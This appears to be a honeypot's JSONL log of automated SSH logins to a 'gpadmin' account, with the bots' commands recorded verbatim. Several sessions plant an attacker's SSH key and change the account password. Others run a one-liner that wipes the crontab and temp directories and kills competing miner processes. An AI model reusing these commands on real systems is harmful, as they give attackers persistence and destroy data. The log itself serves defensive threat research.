{"id":"302f36cf-3c69-4335-9148-d1be601f6273","name":"western-pewter-capuchin","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":53474,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:53:02.720471+00:00","ended_at":"2026-08-27T02:53:07.569000+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"64747d6d-3225-465a-a2e9-6d52bda884ff","name":"hollow-wiry-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":48330,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":242,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:52:57.774790+00:00","ended_at":"2026-08-27T02:53:07.569808+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-27T02:51:53.351591+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:51:57.325634+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:51:57.507799+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:52:01.526800+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:52:01.695851+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:52:04.924770+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:42"},{"seq":7,"at":"2026-08-27T02:52:05.191063+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:52:09.188521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:52:09.411528+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:52:13.291415+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:52:13.707116+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:52:19.267260+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:52:19.474595+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:52:25.091533+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:52:25.295286+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:52:31.125873+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:52:31.367732+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:52:35.069245+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:52:35.263178+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:52:40.676204+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:52:41.101272+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:52:46.802169+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:52:47.274654+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:52:53.268746+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:52:53.773879+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:52:57.775500+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"aaa9f130-70a8-4358-ae68-b8e76e8598cc","name":"blunt-gloomy-mallard","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":65004,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:07:32.660122+00:00","ended_at":"2026-08-26T14:07:33.692080+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2208,"events":[{"seq":1,"at":"2026-08-26T14:07:04.133953+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:07:04.434104+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:07:08.281681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:07:09.439455+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:07:09.745926+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nuJ5C5RWkEhIT\\nuJ5C5RWkEhIT\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:07:10.044425+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nuJ5C5RWkEhIT\\nuJ5C5RWkEhIT\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:07:10.343834+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:07:10.552411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:07:11.733536+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:07:12.034740+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:07:12.147508+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:07:12.930849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:07:13.232754+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:07:15.302531+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:07:15.604782+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:07:17.230709+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:07:17.534531+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:07:18.956096+00:00","kind":"output","latency_ms":null,"data":" 14:07:18 up 6 days, 10:57,  0 user,  load average: 0.2, 0.17, 0.24\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:07:19.256659+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:07:20.661952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:07:20.962620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:07:22.933177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:07:23.232897+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:07:24.145569+00:00","kind":"output","latency_ms":null,"data":"top - 14:07:24 up 6 days, 10:57,  0 user,  load average: 0.2, 0.17, 0.24\nTasks: 114 total,   1 running, 113 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9850 free,    6037 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:07:24.454112+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:07:26.398952+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:07:26.699181+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:07:28.401884+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:07:28.708437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:07:30.658349+00:00","kind":"output","latency_ms":null,"data":"gpadmin"},{"seq":31,"at":"2026-08-26T14:07:30.956732+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:07:32.362471+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:07:32.660907+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:07:33.601694+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gpadmin","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"0e9010ee-fdf3-4d40-84c9-4b2e89d5f90c","name":"cobalt-hollow-vervet","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":65024,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:07:06.815109+00:00","ended_at":"2026-08-26T14:07:08.194338+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"376f1409-da5c-4c6d-945f-0eacd616aadb","name":"clever-curious-tinamou","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":56474,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:03:34.979129+00:00","ended_at":"2026-08-26T14:03:45.419636+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"c6799d07-524f-41ad-8452-b411cb6ed33b","name":"pleasant-sleepy-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":58404,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":422,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T14:03:29.590164+00:00","ended_at":"2026-08-26T14:03:45.421333+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T14:02:30.460711+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T14:02:35.888181+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T14:02:36.771555+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T14:02:39.484882+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T14:02:40.701685+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T14:02:43.740743+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:52"},{"seq":7,"at":"2026-08-26T14:02:44.498350+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T14:02:48.238033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T14:02:50.514378+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T14:02:53.119797+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T14:02:53.426773+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T14:02:57.422715+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T14:02:57.859209+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T14:03:01.224023+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T14:03:01.496116+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T14:03:05.498006+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T14:03:05.762662+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T14:03:10.332082+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T14:03:10.612565+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T14:03:13.878641+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T14:03:14.300825+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T14:03:18.192517+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T14:03:18.572937+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T14:03:22.396143+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T14:03:22.564361+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T14:03:29.590925+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"76a17a04-81fc-46e0-842e-f42baf2ed11f","name":"opal-quaint-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40600,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:43:47.076076+00:00","ended_at":"2026-08-26T13:43:48.360001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2067,"events":[{"seq":1,"at":"2026-08-26T13:43:23.535751+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:24.285534+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:30.628809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:30.629261+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:31.380213+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\ntPU5Knpw6oTl\\ntPU5Knpw6oTl\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:43:32.129135+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\ntPU5Knpw6oTl\\ntPU5Knpw6oTl\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:43:32.880913+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:32.881271+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:33.632337+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:34.246905+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:35.000308+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:43:35.511525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:43:36.264640+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:43:36.265074+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:43:37.014857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:43:37.015438+00:00","kind":"output","latency_ms":null,"data":" 13:43:37 up 6 days, 10:33,  0 user,  load average: 0.28, 0.27, 0.28\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:43:37.767481+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:43:37.767874+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:43:38.518086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:43:38.518528+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:43:39.268396+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:43:40.003455+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:40 up 6 days, 10:33,  0 user,  load average: 0.28, 0.27, 0.28\nTasks: 128 total,   1 running, 127 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7308 free,    8579 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:43:40.754920+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:43:41.556698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:43:42.307367+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:43:42.812342+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:43:43.562204+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:43:44.097759+00:00","kind":"output","latency_ms":null,"data":"gpadmin"},{"seq":29,"at":"2026-08-26T13:43:44.848545+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:43:46.323739+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:43:47.076562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:43:48.120600+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gpadmin","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"c2410df0-f5e5-473b-9be3-aa727d1586ac","name":"flinty-murky-ptarmigan","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40602,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:28.682930+00:00","ended_at":"2026-08-26T13:43:30.391264+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"96b1dafe-fcd7-4f49-be0d-5ebf48245eea","name":"rapid-lively-gibbon","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":43468,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T06:16:22.969263+00:00","ended_at":"2026-08-26T06:16:24.867082+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"28326326-4e84-486b-b673-d138a841b6aa","name":"electric-airy-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":44252,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":237,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:16:16.484171+00:00","ended_at":"2026-08-26T06:16:24.868114+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T06:15:42.458184+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:15:44.455214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:15:44.642859+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:15:46.141782+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:15:46.332675+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:15:47.718754+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:05"},{"seq":7,"at":"2026-08-26T06:15:48.239306+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:15:50.335573+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:15:50.524342+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:15:52.509921+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:15:52.710088+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:15:53.724265+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:15:53.900461+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:15:55.770195+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:15:56.032751+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:15:57.975305+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce 